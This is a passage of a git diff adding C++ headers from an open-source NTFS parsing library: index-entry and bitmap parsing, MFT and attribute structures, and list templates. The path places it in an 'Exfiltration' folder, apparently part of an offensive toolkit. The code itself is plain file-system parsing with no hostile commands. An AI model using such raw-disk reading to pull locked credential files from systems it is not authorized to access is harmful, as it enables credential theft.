+CAttr_IndexRoot::~CAttr_IndexRoot() +{ + NTFS_TRACE("CAttr_IndexRoot deleted\n"); +} + +// Get all the index entries +void CAttr_IndexRoot::ParseIndexEntries() +{ + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(IndexRoot->EntryOffset)) + IndexRoot->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= IndexRoot->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } +} + +// Check if this IndexRoot contains FileName or IndexView +__inline BOOL CAttr_IndexRoot::IsFileName() const +{ + return (IndexRoot->AttrType == ATTR_TYPE_FILE_NAME); +} + + +///////////////////////////////////////////// +// Attribute: Index Allocation (NonResident) +///////////////////////////////////////////// +class CAttr_IndexAlloc : public CAttrNonResident +{ +public: + CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexAlloc(); + +private: + ULONGLONG IndexBlockCount; + + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + +public: + __inline ULONGLONG GetIndexBlockCount(); + BOOL ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass); +}; // CAttr_IndexAlloc + +CAttr_IndexAlloc::CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrNonResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Allocation\n"); + + IndexBlockCount = 0; + + if (IsDataRunOK()) + { + // Get total number of Index Blocks + ULONGLONG ibTotalSize; + ibTotalSize = GetDataSize(); + if (ibTotalSize % _IndexBlockSize) + { + NTFS_TRACE2("Cannot calulate number of IndexBlocks, total size = %I64u, unit = %u\n", + ibTotalSize, _IndexBlockSize); + return; + } + IndexBlockCount = ibTotalSize / _IndexBlockSize; + } + else + { + NTFS_TRACE("Index Allocation DataRun parse error\n"); + } +} + +CAttr_IndexAlloc::~CAttr_IndexAlloc() +{ + NTFS_TRACE("CAttr_IndexAlloc deleted\n"); +} + +// Verify US and update sectors +BOOL CAttr_IndexAlloc::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray) +{ + int i; + + for (i=0; i<sectors; i++) + { + sector += ((_SectorSize>>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +__inline ULONGLONG CAttr_IndexAlloc::GetIndexBlockCount() +{ + return IndexBlockCount; +} + +// Parse a single Index Block +// vcn = Index Block VCN in Index Allocation Data Attributes +// ibClass holds the parsed Index Entries +BOOL CAttr_IndexAlloc::ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass) +{ + if (vcn >= IndexBlockCount) // Bounds check + return FALSE; + + // Allocate buffer for a single Index Block + INDEX_BLOCK *ibBuf = ibClass.AllocIndexBlock(_IndexBlockSize); + + // Sectors Per Index Block + DWORD sectors = _IndexBlockSize / _SectorSize; + + // Read one Index Block + DWORD len; + if (ReadData(vcn*_IndexBlockSize, ibBuf, _IndexBlockSize, &len) && + len == _IndexBlockSize) + { + if (ibBuf->Magic != INDEX_BLOCK_MAGIC) + { + NTFS_TRACE("Index Block parse error: Magic mismatch\n"); + return FALSE; + } + + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)ibBuf + ibBuf->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (!PatchUS((WORD*)ibBuf, sectors, usn, usarray)) + { + NTFS_TRACE("Index Block parse error: Update Sequence Number\n"); + return FALSE; + } + + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(ibBuf->EntryOffset)) + ibBuf->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= ibBuf->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + ibClass.InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } + + return TRUE; + } + else + return FALSE; +} + + +//////////////////////////////////////////// +// Attribute: Bitmap +//////////////////////////////////////////// +template <class TYPE_RESIDENT> +class CAttr_Bitmap : public TYPE_RESIDENT +{ +public: + CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_Bitmap(); + +private: + ULONGLONG BitmapSize; // Bitmap data size + BYTE *BitmapBuf; // Bitmap data buffer + LONGLONG CurrentCluster; + +public: + BOOL IsClusterFree(const ULONGLONG &cluster) const; +}; // CAttr_Bitmap + +template <class TYPE_RESIDENT> +CAttr_Bitmap<TYPE_RESIDENT>::CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE1("Attribute: Bitmap (%sResident)\n", IsNonResident() ? "Non" : ""); + + CurrentCluster = -1; + + if (IsDataRunOK()) + { + BitmapSize = GetDataSize(); + + if (IsNonResident()) + BitmapBuf = new BYTE[_ClusterSize]; + else + { + BitmapBuf = new BYTE[(DWORD)BitmapSize]; + + DWORD len; + if (!(ReadData(0, BitmapBuf, (DWORD)BitmapSize, &len) + && len == (DWORD)BitmapSize)) + { + BitmapBuf = NULL; + NTFS_TRACE("Read Resident Bitmap data failed\n"); + } + else + { + NTFS_TRACE1("%u bytes of resident Bitmap data read\n", len); + } + } + } + else + { + BitmapSize = 0; + BitmapBuf = 0; + } +} + +template <class TYPE_RESIDENT> +CAttr_Bitmap<TYPE_RESIDENT>::~CAttr_Bitmap() +{ + if (BitmapBuf) + delete BitmapBuf; + + NTFS_TRACE("CAttr_Bitmap deleted\n"); +} + +// Verify if a single cluster is free +template <class TYPE_RESIDENT> +BOOL CAttr_Bitmap<TYPE_RESIDENT>::IsClusterFree(const ULONGLONG &cluster) const +{ + if (!IsDataRunOK() || !BitmapBuf) + return FALSE; + + if (IsNonResident()) + { + LONGLONG idx = (LONGLONG)cluster >> 3; + DWORD clusterSize = ((CNTFSVolume*)Volume)->GetClusterSize(); + + LONGLONG clusterOffset = idx/clusterSize; + cluster -= (clusterOffset*clusterSize*8); + + // Read one cluster of data if buffer mismatch + if (CurrentCluster != clusterOffset) + { + DWORD len; + if (ReadData(clusterOffset, BitmapBuf, clusterSize, &len) && len == clusterSize) + { + CurrentCluster = clusterOffset; + } + else + { + CurrentCluster = -1; + return FALSE; + } + } + } + + // All the Bitmap data is already in BitmapBuf + DWORD idx = (DWORD)(cluster >> 3); + if (IsNonResident() == FALSE) + { + if (idx >= BitmapSize) + return TRUE; // Resident data bounds check error + } + + BYTE fac = (BYTE)(cluster % 8); + + return ((BitmapBuf[idx] & (1<<fac)) == 0); +} + + +//////////////////////////////////////////// +// List to hold external File Records +//////////////////////////////////////////// +typedef CSList<CFileRecord> CFileRecordList; + +//////////////////////////////////////////// +// Attribute: Attribute List +//////////////////////////////////////////// +template <class TYPE_RESIDENT> +class CAttr_AttrList : public TYPE_RESIDENT +{ +public: + CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_AttrList(); + +private: + CFileRecordList FileRecordList; +}; // CAttr_AttrList + +template <class TYPE_RESIDENT> +CAttr_AttrList<TYPE_RESIDENT>::CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE("Attribute: Attribute List\n"); + if (fr->FileReference == (ULONGLONG)-1) + return; + + ULONGLONG offset = 0; + DWORD len; + ATTR_ATTRIBUTE_LIST alRecord; + + while (ReadData(offset, &alRecord, sizeof(ATTR_ATTRIBUTE_LIST), &len) && + len == sizeof(ATTR_ATTRIBUTE_LIST)) + { + if (ATTR_INDEX(alRecord.AttrType) > ATTR_NUMS) + { + NTFS_TRACE("Attribute List parse error1\n"); + break; + } + + NTFS_TRACE1("Attribute List: 0x%04x\n", alRecord.AttrType); + + ULONGLONG recordRef = alRecord.BaseRef & 0x0000FFFFFFFFFFFFUL; + if (recordRef != fr->FileReference) // Skip contained attributes + { + DWORD am = ATTR_MASK(alRecord.AttrType); + if (am & fr->AttrMask) // Skip unwanted attributes + { + CFileRecord *frnew = new CFileRecord(fr->Volume); + FileRecordList.InsertEntry(frnew); + + frnew->AttrMask = am; + if (!frnew->ParseFileRecord(recordRef)) + { + NTFS_TRACE("Attribute List parse error2\n"); + break; + } + frnew->ParseAttrs(); + + // Insert new found AttrList to fr->AttrList + const CAttrBase *ab = (CAttrBase*)frnew->FindFirstAttr(alRecord.AttrType); + while (ab) + { + CAttrList *al = (CAttrList*)&fr->AttrList[ATTR_INDEX(alRecord.AttrType)]; + al->InsertEntry((CAttrBase*)ab); + ab = frnew->FindNextAttr(alRecord.AttrType); + } + + // Throw away frnew->AttrList entries to prevent free twice (fr will delete them) + frnew->AttrList[ATTR_INDEX(alRecord.AttrType)].ThrowAll(); + } + } + + offset += alRecord.RecordSize; + } +} + +template <class TYPE_RESIDENT> +CAttr_AttrList<TYPE_RESIDENT>::~CAttr_AttrList() +{ + NTFS_TRACE("CAttr_AttrList deleted\n"); +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h new file mode 100644 index 0000000..b7c2813 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h @@ -0,0 +1,317 @@ +/* + * NTFS Class common definitions + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_COMMON_H_CYB70289 +#define __NTFS_COMMON_H_CYB70289 + +#include <windows.h> +#include <stdio.h> +#include <tchar.h> +#include <crtdbg.h> + +#include "NTFS_DataType.h" + +#define ATTR_NUMS 16 // Attribute Types count +#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2 +#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask + +// Bit masks of Attributes +#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION) +#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST) +#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME) +#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID) +#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR) +#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME) +#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION) +#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA) +#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT) +#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION) +#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP) +#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT) +#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION) +#define MASK_EA ATTR_MASK(ATTR_TYPE_EA) +#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM) + +#define MASK_ALL ((DWORD)-1) + +#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1) +#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2) +#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3) +#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4) +#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5) + +// User defined Callback routines to process raw attribute data +// Set bDiscard to TRUE if this Attribute is to be discarded +// Set bDiscard to FALSE to let CFileRecord process it +typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard); + +// User defined Callback routine to handle CFileRecord parsed attributes +// Will be called by CFileRecord::TraverseAttrs() for each attribute +// attrClass is the according attribute's wrapping class, CAttr_xxx +// Set bStop to TRUE if don't want to continue +// Set bStop to FALSE to continue processing +class CAttrBase; +typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop); + +// User defined Callback routine to handle Directory traversing +// Will be called by CFileRecord::TraverseSubEntries for each sub entry +class CIndexEntry; +typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie); + + +// List Entry +template <class ENTRY_TYPE> +struct NTSLIST_ENTRY +{ + NTSLIST_ENTRY *Next; + ENTRY_TYPE *Entry; +}; + +// List Entry Smart Pointer +template <class ENTRY_TYPE> +class CEntrySmartPtr +{ +public: + CEntrySmartPtr(ENTRY_TYPE *ptr = NULL) + { + EntryPtr = ptr; + } + + virtual ~CEntrySmartPtr() + { + if (EntryPtr) + delete EntryPtr; + } + +private: + const ENTRY_TYPE *EntryPtr; + +public: + __inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr) + { + // Delete previous pointer if allocated + if (EntryPtr) + delete EntryPtr; + + EntryPtr = ptr; + + return *this; + } + + __inline const ENTRY_TYPE* operator->() const + { + _ASSERT(EntryPtr); + return EntryPtr; + } + + __inline BOOL IsValid() const + { + return EntryPtr != NULL; + } +}; + +////////////////////////////////////// +// Single list implementation +////////////////////////////////////// +template <class ENTRY_TYPE> +class CSList +{ +public: + CSList() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + virtual ~CSList() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY<ENTRY_TYPE> *ListHead; + NTSLIST_ENTRY<ENTRY_TYPE> *ListTail; + NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to tail + BOOL InsertEntry(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = NULL; + + if (ListTail == NULL) + ListHead = le; // Empty list + else + ListTail->Next = le; + + ListTail = le; + + EntryCount++; + return TRUE; + } + + // Remove all entries + void RemoveAll() + { + while (ListHead) + { + ListCurrent = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = ListCurrent; + } + + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + // Find first entry + __inline ENTRY_TYPE *FindFirstEntry() const + { + ((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Find next entry + __inline ENTRY_TYPE *FindNextEntry() const + { + if (ListCurrent) + ((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Throw all entries + // Caution! All entries are just thrown without free + __inline void ThrowAll() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } +}; //CSList + + +////////////////////////////////////// +// Stack implementation +////////////////////////////////////// +template <class ENTRY_TYPE> +class CStack +{ +public: + CStack() + { + ListHead = ListTail = NULL; + EntryCount = 0; + } + + virtual ~CStack() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY<ENTRY_TYPE> *ListHead; + NTSLIST_ENTRY<ENTRY_TYPE> *ListTail; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to head + BOOL Push(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = ListHead; + + ListHead = le; + + if (ListTail == NULL) + ListTail = le; // Empty list + + EntryCount ++; + return TRUE; + } + + // Remove from head + ENTRY_TYPE* Pop() + { + if (ListHead == NULL) + return NULL; + + NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead; + ENTRY_TYPE *e = le->Entry; + + if (ListTail == ListHead) + ListTail = ListHead->Next; + ListHead = ListHead->Next; + + delete le; + EntryCount --; + + return e; + } + + // Remove all entries + void RemoveAll() + { + NTSLIST_ENTRY<ENTRY_TYPE> *le; + + while (ListHead) + { + le = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = le; + } + + ListHead = ListTail = NULL; + EntryCount = 0; + } +}; //CStack + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h new file mode 100644 index 0000000..7d9ccc0 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h @@ -0,0 +1,380 @@ +/* + * NTFS data structures and definitions + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_DATATYPE_H_CYB70289 +#define __NTFS_DATATYPE_H_CYB70289 + +// NTFS Boot Sector BPB + +#define NTFS_SIGNATURE "NTFS " + +#pragma pack(1) +typedef struct tagNTFS_BPB +{ + // jump instruction + BYTE Jmp[3]; + + // signature + BYTE Signature[8]; + + // BPB and extended BPB + WORD BytesPerSector; + BYTE SectorsPerCluster; + WORD ReservedSectors; + BYTE Zeros1[3]; + WORD NotUsed1; + BYTE MediaDescriptor; + WORD Zeros2; + WORD SectorsPerTrack; + WORD NumberOfHeads; + DWORD HiddenSectors; + DWORD NotUsed2; + DWORD NotUsed3; + ULONGLONG TotalSectors; + ULONGLONG LCN_MFT; + ULONGLONG LCN_MFTMirr; + DWORD ClustersPerFileRecord; + DWORD ClustersPerIndexBlock; + BYTE VolumeSN[8]; + + // boot code + BYTE Code[430]; + + //0xAA55 + BYTE _AA; + BYTE _55; +} NTFS_BPB; +#pragma pack() + + +// MFT Indexes +#define MFT_IDX_MFT 0 +#define MFT_IDX_MFT_MIRR 1 +#define MFT_IDX_LOG_FILE 2 +#define MFT_IDX_VOLUME 3 +#define MFT_IDX_ATTR_DEF 4 +#define MFT_IDX_ROOT 5 +#define MFT_IDX_BITMAP 6 +#define MFT_IDX_BOOT 7 +#define MFT_IDX_BAD_CLUSTER 8 +#define MFT_IDX_SECURE 9 +#define MFT_IDX_UPCASE 10 +#define MFT_IDX_EXTEND 11 +#define MFT_IDX_RESERVED12 12 +#define MFT_IDX_RESERVED13 13 +#define MFT_IDX_RESERVED14 14 +#define MFT_IDX_RESERVED15 15 +#define MFT_IDX_USER 16 + + +/****************************** + File Record + --------------------- + | File Record Header| + --------------------- + | Attribute 1 | + --------------------- + | Attribute 2 | + --------------------- + | ...... | + --------------------- + | 0xFFFFFFFF | + --------------------- +*******************************/ + +// File Record Header + +#define FILE_RECORD_MAGIC 'ELIF' +#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use +#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory + +typedef struct tagFILE_RECORD_HEADER +{ + DWORD Magic; // "FILE" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + WORD SeqNo; // Sequence number + WORD Hardlinks; // Hard link count + WORD OffsetOfAttr; // Offset of the first Attribute + WORD Flags; // Flags + DWORD RealSize; // Real size of the FILE record + DWORD AllocSize; // Allocated size of the FILE record + ULONGLONG RefToBase; // File reference to the base FILE record + WORD NextAttrId; // Next Attribute Id + WORD Align; // Align to 4 byte boundary + DWORD RecordNo; // Number of this MFT Record +} FILE_RECORD_HEADER; + + +/****************************** + Attribute + -------------------- + | Attribute Header | + -------------------- + | Attribute Data | + -------------------- +*******************************/ + +// Attribute Header + +#define ATTR_TYPE_STANDARD_INFORMATION 0x10 +#define ATTR_TYPE_ATTRIBUTE_LIST 0x20 +#define ATTR_TYPE_FILE_NAME 0x30 +#define ATTR_TYPE_OBJECT_ID 0x40 +#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50 +#define ATTR_TYPE_VOLUME_NAME 0x60 +#define ATTR_TYPE_VOLUME_INFORMATION 0x70 +#define ATTR_TYPE_DATA 0x80 +#define ATTR_TYPE_INDEX_ROOT 0x90 +#define ATTR_TYPE_INDEX_ALLOCATION 0xA0 +#define ATTR_TYPE_BITMAP 0xB0 +#define ATTR_TYPE_REPARSE_POINT 0xC0 +#define ATTR_TYPE_EA_INFORMATION 0xD0 +#define ATTR_TYPE_EA 0xE0 +#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100 + +#define ATTR_FLAG_COMPRESSED 0x0001 +#define ATTR_FLAG_ENCRYPTED 0x4000 +#define ATTR_FLAG_SPARSE 0x8000 + +typedef struct tagATTR_HEADER_COMMON +{ + DWORD Type; // Attribute Type + DWORD TotalSize; // Length (including this header) + BYTE NonResident; // 0 - resident, 1 - non resident + BYTE NameLength; // name length in words + WORD NameOffset; // offset to the name + WORD Flags; // Flags + WORD Id; // Attribute Id +} ATTR_HEADER_COMMON; + +typedef struct tagATTR_HEADER_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + DWORD AttrSize; // Length of the attribute body + WORD AttrOffset; // Offset to the Attribute + BYTE IndexedFlag; // Indexed flag + BYTE Padding; // Padding +} ATTR_HEADER_RESIDENT; + +typedef struct tagATTR_HEADER_NON_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + ULONGLONG StartVCN; // Starting VCN + ULONGLONG LastVCN; // Last VCN + WORD DataRunOffset; // Offset to the Data Runs + WORD CompUnitSize; // Compression unit size + DWORD Padding; // Padding + ULONGLONG AllocSize; // Allocated size of the attribute + ULONGLONG RealSize; // Real size of the attribute + ULONGLONG IniSize; // Initialized data size of the stream +} ATTR_HEADER_NON_RESIDENT; + + +// Attribute: STANDARD_INFORMATION + +#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001 +#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002 +#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004 +#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020 +#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040 +#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080 +#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100 +#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200 +#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400 +#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800 +#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000 +#define ATTR_STDINFO_PERMISSION_NCI 0x00002000 +#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000 + +typedef struct tagATTR_STANDARD_INFORMATION +{ + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + DWORD Permission; // Dos file permission + DWORD MaxVersionNo; // Maxim number of file versions + DWORD VersionNo; // File version number + DWORD ClassId; // Class Id + DWORD OwnerId; // Owner Id + DWORD SecurityId; // Security Id + ULONGLONG QuotaCharged; // Quota charged + ULONGLONG USN; // USN Journel +} ATTR_STANDARD_INFORMATION; + + +// Attribute: ATTRIBUTE_LIST + +typedef struct tagATTR_ATTRIBUTE_LIST +{ + DWORD AttrType; // Attribute type + WORD RecordSize; // Record length + BYTE NameLength; // Name length in characters + BYTE NameOffset; // Name offset + ULONGLONG StartVCN; // Start VCN + ULONGLONG BaseRef; // Base file reference to the attribute + WORD AttrId; // Attribute Id +} ATTR_ATTRIBUTE_LIST; + +// Attribute: FILE_NAME + +#define ATTR_FILENAME_FLAG_READONLY 0x00000001 +#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002 +#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004 +#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020 +#define ATTR_FILENAME_FLAG_DEVICE 0x00000040 +#define ATTR_FILENAME_FLAG_NORMAL 0x00000080 +#define ATTR_FILENAME_FLAG_TEMP 0x00000100 +#define ATTR_FILENAME_FLAG_SPARSE 0x00000200 +#define ATTR_FILENAME_FLAG_REPARSE 0x00000400 +#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800 +#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000 +#define ATTR_FILENAME_FLAG_NCI 0x00002000 +#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000 +#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000 +#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000 + +#define ATTR_FILENAME_NAMESPACE_POSIX 0x00 +#define ATTR_FILENAME_NAMESPACE_WIN32 0x01 +#define ATTR_FILENAME_NAMESPACE_DOS 0x02 + +typedef struct tagATTR_FILE_NAME +{ + ULONGLONG ParentRef; // File reference to the parent directory + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + ULONGLONG AllocSize; // Allocated size of the file + ULONGLONG RealSize; // Real size of the file + DWORD Flags; // Flags + DWORD ER; // Used by EAs and Reparse + BYTE NameLength; // Filename length in characters + BYTE NameSpace; // Filename space + WORD Name[1]; // Filename +} ATTR_FILE_NAME; + + +// Attribute: VOLUME_INFORMATION + +#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty +#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile +#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount +#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4 +#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway +#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids +#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk + +typedef struct tagATTR_VOLUME_INFORMATION +{ + BYTE Reserved1[8]; // Always 0 ? + BYTE MajorVersion; // Major version + BYTE MinorVersion; // Minor version + WORD Flags; // Flags + BYTE Reserved2[4]; // Always 0 ? +} ATTR_VOLUME_INFORMATION; + + +// Attribute: INDEX_ROOT +/****************************** + INDEX_ROOT + --------------------- + | Index Root Header | + --------------------- + | Index Header | + --------------------- + | Index Entry | + --------------------- + | Index Entry | + --------------------- + | ...... | + --------------------- +*******************************/ + +#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record +#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed + +typedef struct tagATTR_INDEX_ROOT +{ + // Index Root Header + DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View) + DWORD CollRule; // Collation rule + DWORD IBSize; // Size of index block + BYTE ClustersPerIB; // Clusters per index block (same as BPB?) + BYTE Padding1[3]; // Padding + // Index Header + DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of the index entries + BYTE Flags; // Flags + BYTE Padding2[3]; // Padding +} ATTR_INDEX_ROOT; + + +// INDEX ENTRY + +#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node +#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream + +typedef struct tagINDEX_ENTRY +{ + ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number + WORD Size; // Length of the index entry + WORD StreamSize; // Length of the stream + BYTE Flags; // Flags + BYTE Padding[3]; // Padding + BYTE Stream[1]; // Stream + // VCN of the sub node in Index Allocation, Offset = Size - 8 +} INDEX_ENTRY; + + +// INDEX BLOCK +/****************************** + INDEX_BLOCK + ----------------------- + | Index Block Header | + ----------------------- + | Index Header | + ----------------------- + | Index Entry | + ----------------------- + | Index Entry | + ----------------------- + | ...... | + ----------------------- +*******************************/ + +#define INDEX_BLOCK_MAGIC 'XDNI' + +typedef struct tagINDEX_BLOCK +{ + // Index Block Header + DWORD Magic; // "INDX" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + ULONGLONG VCN; // VCN of this index block in the index allocation + // Index Header + DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of index entries + BYTE NotLeaf; // 1 if not leaf node (has children) + BYTE Padding[3]; // Padding +} 